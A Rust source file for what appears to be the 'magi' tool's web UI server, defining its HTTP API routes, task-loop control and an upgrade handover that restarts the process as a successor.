1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291mod id_links;
292
293#[derive(Debug, Clone)]
299pub struct Ui {
300 queue: Queue,
301 questions: Questions,
302 notices: Notices,
305 talks: Talks,
306 runs: PathBuf,
307 references: Arc<id_links::IndexCache>,
308 home: PathBuf,
309 repo: PathBuf,
310 worktrees_root: PathBuf,
317 talk_turns: Arc<Mutex<TalkTurns>>,
325 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
329 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
332 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
334 resuming: Arc<Mutex<HashSet<String>>>,
342 repos_cache: repos::Cache,
346 machine_config: Option<PathBuf>,
350 merge: Option<String>,
352 looping: Arc<Mutex<LoopState>>,
354 launch: Launch,
366 #[cfg(test)]
369 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
370}
371
372#[cfg(test)]
392struct BusyQueueGate {
393 reached: tokio::sync::oneshot::Sender<()>,
394 release: std::sync::mpsc::Receiver<()>,
395}
396
397#[cfg(test)]
398impl std::fmt::Debug for BusyQueueGate {
399 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
400 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
401 }
402}
403
404impl Ui {
405 pub fn new(
407 queue: Queue,
408 questions: Questions,
409 talks: Talks,
410 runs: PathBuf,
411 home: PathBuf,
412 repo: PathBuf,
413 ) -> Self {
414 Self {
415 queue,
416 questions,
417 notices: Notices::at(home.join("notifications")),
418 talks,
419 runs,
420 references: Arc::default(),
421 home,
422 repo,
423 worktrees_root: run::default_worktree_root(),
427 talk_turns: Arc::default(),
428 upgrade_gate: Arc::default(),
429 upgrade_spawned: Arc::default(),
430 upgrade_request_error: Arc::default(),
431 resuming: Arc::default(),
432 repos_cache: repos::Cache::new(),
433 machine_config: Config::machine_layer(),
434 merge: None,
435 looping: Arc::default(),
436 launch: launch_daemon,
437 #[cfg(test)]
438 busy_queue_gate: Arc::default(),
439 }
440 }
441
442 pub fn open(repo: PathBuf) -> Self {
445 Self::new(
446 Queue::open(),
447 Questions::open(),
448 Talks::open(),
449 run::runs_root(),
450 run::home(),
451 repo,
452 )
453 }
454
455 #[must_use]
462 pub fn with_merge(mut self, merge: Option<String>) -> Self {
463 self.merge = merge;
464 self
465 }
466
467 #[cfg(test)]
470 #[must_use]
471 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
472 self.machine_config = path;
473 self
474 }
475
476 #[must_use]
481 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
482 self.worktrees_root = root;
483 self
484 }
485
486 #[cfg(test)]
491 #[must_use]
492 fn with_launch(mut self, launch: Launch) -> Self {
493 self.launch = launch;
494 self
495 }
496
497 #[cfg(test)]
507 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
508 *self
509 .busy_queue_gate
510 .lock()
511 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
512 }
513
514 fn looping(&self) -> Arc<Mutex<LoopState>> {
516 Arc::clone(&self.looping)
517 }
518
519 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
526 if let Some(other) = foreign {
527 return Err(ApiError::conflict(format!(
528 "{} is already running the loop, so this one will not start a \
529 second: two loops on one queue race for the same claims and \
530 burn the agent quota twice over. Stop it where it was \
531 started.",
532 other.who()
533 )));
534 }
535 let mut state = self.lock_loop();
536 if state.live.as_ref().is_some_and(Live::alive) {
537 return Err(ApiError::conflict(format!(
538 "this magi web process (pid {}) is already running the loop",
539 std::process::id()
540 )));
541 }
542
543 let stop = daemon::Stop::new();
544 let opts = daemon::Opts {
548 repo: self.repo.clone(),
549 merge: self.merge.clone(),
550 worktrees_root: Some(self.worktrees_root.clone()),
557 ..daemon::Opts::default()
558 };
559 let launch = self.launch;
560 let looping = Arc::clone(&self.looping);
561 let handle = tokio::spawn({
562 let opts = opts.clone();
563 let stop = stop.clone();
564 async move {
565 let failure = match launch(opts, stop).await {
566 Ok(()) => None,
567 Err(e) => Some(format!("{e:#}")),
568 };
569 match &failure {
570 Some(why) => tracing::error!("the loop stopped: {why}"),
571 None => tracing::info!("the loop stopped"),
572 }
573 let mut state = lock_or_recover(&looping);
579 state.live = None;
580 state.last_error = failure;
581 state.rev += 1;
582 }
583 });
584 tracing::info!(
585 "the loop is now running in this process: repo {}, merge {}",
586 opts.repo.display(),
587 opts.merge.as_deref().unwrap_or("as the config says")
588 );
589 state.live = Some(Live { stop, handle, opts });
590 state.last_error = None;
593 state.rev += 1;
594 Ok(())
595 }
596
597 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
603 if let Some(other) = foreign {
604 return Err(ApiError::conflict(format!(
605 "the loop belongs to {}, and this process cannot stop it - \
606 stop it where it was started. A button that silently did \
607 nothing would be worse than this refusal.",
608 other.who()
609 )));
610 }
611 let mut state = self.lock_loop();
612 if !park {
615 state.resume_after_handover = false;
616 }
617 let Some(live) = state.live.as_ref() else {
618 return Ok(());
619 };
620 if live.stop.stopped() && (!park || live.stop.parking()) {
624 return Ok(());
625 }
626 if park {
627 live.stop.park(crate::run::ParkCause::Operator);
628 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
629 } else {
630 live.stop.stop();
631 tracing::info!("the loop was asked to stop; a run in flight is finished first");
632 }
633 state.rev += 1;
634 Ok(())
635 }
636
637 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
644 let state = self.lock_loop();
645 let live = state.live.as_ref().filter(|live| live.alive());
648 LoopView {
649 running: live.is_some(),
650 stopping: live.is_some_and(|live| live.stop.finishing()),
651 parking: live.is_some_and(|live| live.stop.parking()),
652 owned: live.is_some(),
653 repo: live
654 .map_or(&self.repo, |live| &live.opts.repo)
655 .display()
656 .to_string(),
657 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
658 last_error: state.last_error.clone(),
659 daemon: DaemonView::of(reading),
660 }
661 }
662
663 fn resume_after_handover(&self, resume: bool) -> bool {
669 if !resume {
670 return false;
671 }
672 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
673 match self.start_loop(foreign) {
674 Ok(()) => true,
675 Err(e) => {
676 let why = format!(
677 "the loop could not be resumed after the upgrade: {}",
678 e.message
679 );
680 tracing::warn!("{why}");
681 let mut state = self.lock_loop();
682 state.last_error = Some(why);
683 state.rev += 1;
684 false
685 }
686 }
687 }
688
689 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
691 lock_or_recover(&self.looping)
692 }
693
694 fn is_thinking(&self, id: &str) -> bool {
700 self.talk_turns
701 .lock()
702 .is_ok_and(|turns| turns.live.contains(id))
703 || self.talks.turn_held(id)
706 }
707
708 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
727 self.claim_talk_turn(id, false)
728 }
729
730 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
733 self.claim_talk_turn(id, true)
734 }
735
736 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
737 let mut live = self
738 .talk_turns
739 .lock()
740 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
741 if live.parking {
742 if queued {
743 *live.queued.entry(id.to_owned()).or_default() += 1;
746 return Ok(None);
747 }
748 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
749 }
750 let inserted = live.live.insert(id.to_owned());
751 let lease = if inserted {
755 match self.talks.claim_turn(id) {
756 Ok(Some(lease)) => Some(lease),
757 Ok(None) => {
758 live.live.remove(id);
759 None
760 }
761 Err(e) => {
762 live.live.remove(id);
763 return Err(ApiError::from(e));
764 }
765 }
766 } else {
767 None
768 };
769 if lease.is_none() {
770 if queued {
771 *live.queued.entry(id.to_owned()).or_default() += 1;
776 }
777 return Ok(None);
778 }
779 Ok(Some(TalkTurnGuard {
780 talk: id.to_owned(),
781 turns: Arc::clone(&self.talk_turns),
782 released: false,
783 lease,
784 }))
785 }
786
787 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
792 let mut live = self
793 .talk_turns
794 .lock()
795 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
796 if live.parking || live.live.contains(id) {
798 return Ok(TalkTurnStart::Busy);
799 }
800 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
801 return Ok(TalkTurnStart::Foreign);
802 };
803 let talk = self.talks.get(id).map_err(ApiError::from)?;
805 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
806 return Ok(TalkTurnStart::Pending);
807 }
808 live.live.insert(id.to_owned());
809 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
810 talk: id.to_owned(),
811 turns: Arc::clone(&self.talk_turns),
812 released: false,
813 lease: Some(lease),
814 }))
815 }
816
817 fn queued_generation(&self, id: &str) -> u64 {
818 let live = self
819 .talk_turns
820 .lock()
821 .unwrap_or_else(PoisonError::into_inner);
822 live.queued.get(id).copied().unwrap_or(0)
823 }
824
825 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
827 Arc::clone(&self.talk_turns)
828 }
829
830 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
837 let parking = {
838 let mut state = self.lock_loop();
839 let resume = state.resume_after_handover
849 || state
850 .live
851 .as_ref()
852 .is_some_and(|live| live.alive() && !live.stop.stopped());
853 state.resume_after_handover = resume;
854 let Some(live) = state.live.as_ref() else {
855 return Ok(None);
856 };
857 let busy = live.stop.busy_now();
858 live.stop.park(crate::run::ParkCause::Upgrade {
859 from: from.to_owned(),
860 to: to.map(|t| t.trim_start_matches('v').to_owned()),
861 });
862 state.rev += 1;
863 busy
864 };
865 Ok(if parking {
866 daemon::current_work(&self.home, jiff::Timestamp::now())
871 .into_iter()
872 .next()
873 .map(|c| c.run)
874 } else {
875 None
876 })
877 }
878
879 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
883 let mut live = self
884 .resuming
885 .lock()
886 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
887 if !live.insert(id.to_owned()) {
888 return Err(ApiError::conflict(format!(
889 "run {id} is already being resumed"
890 )));
891 }
892 Ok(ResumeGuard {
893 run: id.to_owned(),
894 resuming: Arc::clone(&self.resuming),
895 })
896 }
897
898 pub fn router(self) -> Router {
906 Router::new()
907 .route("/", get(index))
908 .route("/app.css", get(app_css))
909 .route("/app.js", get(app_js))
910 .route("/api/health", get(health))
911 .route("/api/references", post(id_links::resolve_text))
912 .route("/api/loop", get(loop_get).post(loop_post))
913 .route("/api/upgrade", post(upgrade_post))
914 .route("/api/runs", get(runs_list))
915 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
916 .route("/api/runs/{id}/report", get(run_report))
917 .route("/api/runs/{id}/report.json", get(run_report_json))
918 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
919 .route("/api/runs/{id}/fold", post(run_fold))
920 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
921 .route("/api/runs/{id}/resume", post(run_resume))
922 .route("/api/queue", get(queue_list))
923 .route("/api/search", get(search_get))
924 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
925 .route("/api/stats", get(stats_get))
926 .route("/api/repos", get(repos_list))
927 .route("/api/settings", get(settings_get))
928 .route("/api/settings/roles", put(settings_put_roles))
929 .route("/api/queue/{id}/hold", post(queue_hold))
930 .route("/api/queue/{id}/release", post(queue_release))
931 .route("/api/queue/{id}/priority", post(queue_priority))
932 .route("/api/queue/{id}/urgent", post(queue_urgent))
933 .route("/api/queue/{id}/implementers", post(queue_implementers))
934 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
935 .route("/api/queue/{id}/edit", post(queue_edit))
936 .route("/api/queue/{id}/done", post(queue_done))
937 .route("/api/questions", get(questions_list))
938 .route("/api/questions/{id}/answer", post(question_answer))
939 .route("/api/questions/{id}/say", post(question_say))
940 .route("/api/questions/{id}/consult", post(question_consult))
941 .route("/api/questions/{id}/panel", get(question_panel))
942 .route("/api/questions/{id}/panel/index.html", get(question_panel))
950 .route("/api/questions/{id}/panel/{name}", get(question_asset))
951 .route("/api/questions/{id}/asset/{name}", get(question_asset))
952 .route("/api/notifications", get(notifications_list))
953 .route("/api/notifications/read-all", post(notifications_read_all))
954 .route("/api/notifications/{id}/read", post(notification_read))
955 .route(
956 "/api/notifications/{id}/dismiss",
957 post(notification_dismiss),
958 )
959 .route("/api/talks", get(talks_list).post(talk_post))
960 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
961 .route("/api/talks/{id}/say", post(talk_say))
962 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
963 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
964 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
965 .route("/api/talks/{id}/agent", post(talk_agent))
966 .route("/api/talks/{id}/persona", post(talk_persona))
967 .route("/api/talks/{id}/implementers", post(talk_implementers))
968 .route("/api/talks/{id}/close", post(talk_close))
969 .route("/api/talks/{id}/reopen", post(talk_reopen))
970 .route(
976 "/api/talks/{id}/attachments",
977 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
978 )
979 .route(
980 "/api/talks/{id}/attachments/{att}",
981 get(talk_attachment_get),
982 )
983 .route("/api/talks/{id}/avatar", get(talk_avatar))
984 .route("/avatars/operator.svg", get(operator_avatar))
985 .route(
986 "/api/avatar-settings",
987 get(avatar_settings_get)
988 .put(avatar_settings_put)
989 .delete(avatar_settings_delete),
990 )
991 .route("/avatars/persona", get(settings_persona_avatar))
992 .route("/avatars/magi", get(magi_avatar))
993 .route(
994 "/api/magi-icon",
995 get(magi_icon_get)
996 .put(magi_icon_put)
997 .delete(magi_icon_delete),
998 )
999 .route("/api/events", get(events))
1000 .with_state(Arc::new(self))
1001 }
1002}
1003
1004const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1007
1008#[derive(Debug)]
1014struct TalkTurnGuard {
1015 talk: String,
1016 turns: Arc<Mutex<TalkTurns>>,
1017 released: bool,
1018 lease: Option<crate::talk::TurnLease>,
1020}
1021
1022#[derive(Debug, Default)]
1029struct TalkTurns {
1030 live: HashSet<String>,
1031 queued: HashMap<String, u64>,
1032 parking: bool,
1036}
1037
1038enum TalkTurnStart {
1041 Claimed(TalkTurnGuard),
1042 Busy,
1043 Foreign,
1046 Pending,
1047}
1048
1049impl TalkTurnGuard {
1050 fn owns(&self) -> bool {
1054 self.lease
1055 .as_ref()
1056 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1057 }
1058
1059 async fn respond(
1062 &self,
1063 talk: &mut Talk,
1064 talks: &Talks,
1065 cfg: &Config,
1066 text: &str,
1067 ) -> anyhow::Result<()> {
1068 let lease = self
1069 .lease
1070 .as_ref()
1071 .context("the turn guard no longer holds its lease")?;
1072 talk::respond(lease, talk, talks, cfg, text).await
1073 }
1074
1075 fn release(mut self, live: &mut TalkTurns) {
1078 self.lease = None;
1082 live.live.remove(&self.talk);
1083 live.queued.remove(&self.talk);
1084 self.released = true;
1085 }
1086}
1087
1088impl Drop for TalkTurnGuard {
1089 fn drop(&mut self) {
1090 if self.released {
1091 return;
1092 }
1093 drop(self.lease.take());
1095 if let Ok(mut live) = self.turns.lock() {
1096 live.live.remove(&self.talk);
1097 live.queued.remove(&self.talk);
1098 }
1099 }
1100}
1101
1102struct ResumeGuard {
1104 run: String,
1105 resuming: Arc<Mutex<HashSet<String>>>,
1106}
1107
1108impl Drop for ResumeGuard {
1109 fn drop(&mut self) {
1110 if let Ok(mut live) = self.resuming.lock() {
1111 live.remove(&self.run);
1112 }
1113 }
1114}
1115
1116async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1126 const WINDOW: Duration = Duration::from_secs(10);
1127 const GAP: Duration = Duration::from_millis(250);
1128
1129 let deadline = std::time::Instant::now() + WINDOW;
1130 let mut said = false;
1131 loop {
1132 match tokio::net::TcpListener::bind(socket).await {
1133 Ok(listener) => return Ok(listener),
1134 Err(e)
1135 if e.kind() == std::io::ErrorKind::AddrInUse
1136 && std::time::Instant::now() < deadline =>
1137 {
1138 if !said {
1139 said = true;
1140 tracing::info!(
1141 "{socket} is still held - waiting up to {}s for it, \
1142 which is what a restart looks like from here",
1143 WINDOW.as_secs()
1144 );
1145 }
1146 tokio::time::sleep(GAP).await;
1147 }
1148 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1149 }
1150 }
1151}
1152
1153static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1156
1157const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1159
1160fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1162 value.is_some_and(|v| v == "1")
1163}
1164
1165fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1188 let exe = std::env::current_exe().context("find this binary")?;
1189 let args: Vec<String> = std::env::args().skip(1).collect();
1190 updater::log_step(
1191 home,
1192 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1193 );
1194 let log_path = home.join(WEB_LOG);
1195 let open_log = || {
1196 std::fs::create_dir_all(home)?;
1197 std::fs::OpenOptions::new()
1198 .create(true)
1199 .append(true)
1200 .open(&log_path)
1201 };
1202 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1203 Ok(pair) => (
1204 std::process::Stdio::from(pair.0),
1205 std::process::Stdio::from(pair.1),
1206 ),
1207 Err(e) => {
1208 updater::log_warn(
1209 home,
1210 &format!(
1211 "could not open {}: {e}; the successor logs nowhere",
1212 log_path.display()
1213 ),
1214 );
1215 (std::process::Stdio::null(), std::process::Stdio::null())
1216 }
1217 };
1218
1219 let mut cmd = std::process::Command::new(&exe);
1220 if resume {
1221 cmd.env(RESUME_LOOP_ENV, "1");
1222 } else {
1223 cmd.env_remove(RESUME_LOOP_ENV);
1224 }
1225 cmd.args(&args)
1226 .stdin(std::process::Stdio::null())
1227 .stdout(out)
1228 .stderr(err);
1229 #[cfg(windows)]
1230 {
1231 use std::os::windows::process::CommandExt as _;
1232 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1235 }
1236 let child = cmd.spawn().context("start the successor")?;
1237 Ok(child.id())
1238}
1239
1240const WEB_LOG: &str = "web.log";
1242
1243async fn wait_for_handover(signal: &Notify) {
1247 signal.notified().await;
1248}
1249
1250pub async fn serve(opts: Opts) -> Result<()> {
1275 let (addr, warning) = resolve_bind(&opts.bind);
1276 if let Some(warning) = warning {
1277 tracing::warn!("{warning}");
1278 }
1279
1280 report::set_color(false);
1286
1287 let repo = normalize_default_repo(opts.repo).await;
1288 let ui = Ui::open(repo).with_merge(opts.merge);
1289 let home = ui.home.clone();
1294 let repo = ui.repo.clone();
1295 updater::reconcile_after_restart(&home);
1300 updater::log_step(
1301 &home,
1302 &format!(
1303 "web process started (version {}); handover log {}, successor output {}",
1304 env!("CARGO_PKG_VERSION"),
1305 updater::log_path(&home).display(),
1306 home.join(WEB_LOG).display()
1307 ),
1308 );
1309 updater::spawn_watchdog(home.clone());
1310 tokio::spawn(run_update_recheck(repo, home.clone()));
1319 let looping = ui.looping();
1320 let turns = ui.turns();
1321 let talk_store = ui.talks.clone();
1322 let socket = SocketAddr::new(addr, opts.port);
1323 let listener = bind_waiting(socket).await?;
1324 let url = format!("http://{addr}:{}", opts.port);
1325 tracing::info!(
1326 "magi web UI on {url} - there is no authentication, so anyone who can \
1327 reach this address can file and hold tasks: the tailnet is the \
1328 security boundary"
1329 );
1330 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1331 tracing::info!("resumed the loop the predecessor was running");
1332 } else {
1333 tracing::info!(
1334 "the queue loop is not running yet - start it from the UI, which is \
1335 the whole reason this process can: nothing in the queue moves until \
1336 something is running the loop"
1337 );
1338 }
1339 if opts.open {
1340 println!("{url}");
1344 }
1345
1346 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1349 let interrupted = async {
1350 if tokio::signal::ctrl_c().await.is_err() {
1351 std::future::pending::<()>().await;
1356 }
1357 };
1358 let handover = wait_for_handover(&HANDOVER);
1359 let outcome = tokio::select! {
1360 joined = &mut served => match joined {
1361 Ok(outcome) => outcome.context("serve the web UI"),
1362 Err(e) => Err(e).context("the task serving the web UI ended"),
1363 },
1364 () = interrupted => {
1365 tracing::info!("shutting down the web UI");
1366 finish_loop(&home, &looping, None).await;
1367 Ok(())
1368 }
1369 () = handover => {
1370 updater::log_step(&home, "serve: the select! woke on the handover signal");
1371 let successor_home = home.clone();
1372 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1373 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1374 spawn_successor(&successor_home, resume)
1375 })
1376 .await
1377 }
1378 };
1379 updater::log_step(
1380 &home,
1381 &match &outcome {
1382 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1383 Err(e) => format!("serve: returning an error: {e:#}"),
1384 },
1385 );
1386 outcome
1387}
1388
1389async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1410 if repo != FsPath::new(".") {
1411 return repo;
1412 }
1413 let Ok(canonical) = repo.canonicalize() else {
1414 return repo;
1415 };
1416 if git::toplevel(&canonical).await.is_ok() {
1417 return repo;
1418 }
1419 let Some(home) = dirs::home_dir() else {
1420 return repo;
1421 };
1422 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1423 Some(found) => {
1424 tracing::info!(
1425 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1426 canonical.display(),
1427 found.path.display(),
1428 found.reason,
1429 );
1430 found.path
1431 }
1432 None => repo,
1433 }
1434}
1435
1436async fn hand_over(
1466 home: &FsPath,
1467 looping: &Mutex<LoopState>,
1468 turns: &Arc<Mutex<TalkTurns>>,
1469 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1470 served: tokio::task::JoinHandle<std::io::Result<()>>,
1471 successor: impl FnOnce(bool) -> Result<u32>,
1472) -> Result<()> {
1473 updater::log_step(home, "hand_over: entered; writing the parking stage");
1474 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1478 if !recorded {
1479 updater::log_warn(
1480 home,
1481 "hand_over: upgrade.json is unreadable; no parking stage",
1482 );
1483 }
1484 finish_loop(home, looping, Some(&mut lease)).await;
1489 let parking = ParkingTurns::begin(turns);
1490 let talks_done = finish_talks(home, turns, talk_wait);
1491 tokio::pin!(talks_done);
1492 let mut beat = tokio::time::interval(LEASE_BEAT);
1493 let (abandoned, waited_for) = loop {
1494 tokio::select! {
1495 left = &mut talks_done => break left,
1496 _ = beat.tick() => lease.beat(),
1497 }
1498 };
1499 drop(lease);
1500 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1501 served.abort();
1502 let _ = served.await;
1503 updater::log_step(home, "hand_over: listener released");
1504 let resume = lock_or_recover(looping).resume_after_handover;
1507 match updater::read_progress(home) {
1508 Some(mut progress) => {
1509 progress.advance(updater::Stage::Restarting);
1510 if !abandoned.is_empty() {
1511 progress.detail = Some(format!(
1512 "handed over while {} still running after {} s",
1513 updater::talks_phrase(&abandoned),
1514 waited_for.as_secs()
1515 ));
1516 }
1517 updater::write_progress_logged(home, &progress);
1518 }
1519 None => updater::log_warn(
1520 home,
1521 "hand_over: upgrade.json is unreadable; no restarting stage",
1522 ),
1523 }
1524 updater::log_step(
1525 home,
1526 &format!("hand_over: starting the successor (resume={resume})"),
1527 );
1528 drop(parking);
1529 match successor(resume) {
1530 Ok(pid) => {
1531 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1532 Ok(())
1533 }
1534 Err(e) => {
1535 updater::log_warn(
1536 home,
1537 &format!("hand_over: the successor did not start: {e:#}"),
1538 );
1539 Err(e)
1540 }
1541 }
1542}
1543
1544const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1547
1548const TALK_POLL: Duration = Duration::from_millis(250);
1550
1551fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1554 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1555}
1556
1557fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1562 let default = Config::default().graph.timeout_talk;
1563 let longest = ids
1564 .iter()
1565 .map(|id| {
1566 talks
1567 .get(id)
1568 .ok()
1569 .and_then(|t| Config::discover(&t.repo, None).ok())
1570 .map_or(default, |(c, _)| c.graph.timeout_talk)
1571 })
1572 .max()
1573 .unwrap_or(default);
1574 talk_wait_bound(longest)
1575}
1576
1577struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1581
1582impl ParkingTurns {
1583 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1584 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1585 Self(Arc::clone(turns))
1586 }
1587}
1588
1589impl Drop for ParkingTurns {
1590 fn drop(&mut self) {
1591 self.0
1592 .lock()
1593 .unwrap_or_else(PoisonError::into_inner)
1594 .parking = false;
1595 }
1596}
1597
1598async fn finish_talks(
1603 home: &FsPath,
1604 turns: &Mutex<TalkTurns>,
1605 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1606) -> (Vec<String>, Duration) {
1607 let running = || {
1608 let mut ids: Vec<String> = turns
1609 .lock()
1610 .unwrap_or_else(PoisonError::into_inner)
1611 .live
1612 .iter()
1613 .cloned()
1614 .collect();
1615 let talks = talk::Talks::at(home.join("talks"));
1618 for t in talks.list() {
1619 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1620 ids.push(t.id);
1621 }
1622 }
1623 ids.sort();
1624 ids
1625 };
1626 let started = std::time::Instant::now();
1627 let mut seen = Vec::new();
1628 let mut bound = Duration::ZERO;
1629 loop {
1630 let ids = running();
1631 if ids != seen {
1632 bound = bound.max(bound_for(&ids));
1633 if ids.is_empty() {
1634 updater::log_step(home, "finish_talks: no chat turn is running");
1635 } else {
1636 updater::log_step(
1637 home,
1638 &format!(
1639 "finish_talks: waiting for {} to finish",
1640 updater::talks_phrase(&ids)
1641 ),
1642 );
1643 }
1644 updater::set_parked_talks(home, &ids);
1645 seen = ids;
1646 }
1647 if seen.is_empty() {
1648 return (Vec::new(), bound);
1649 }
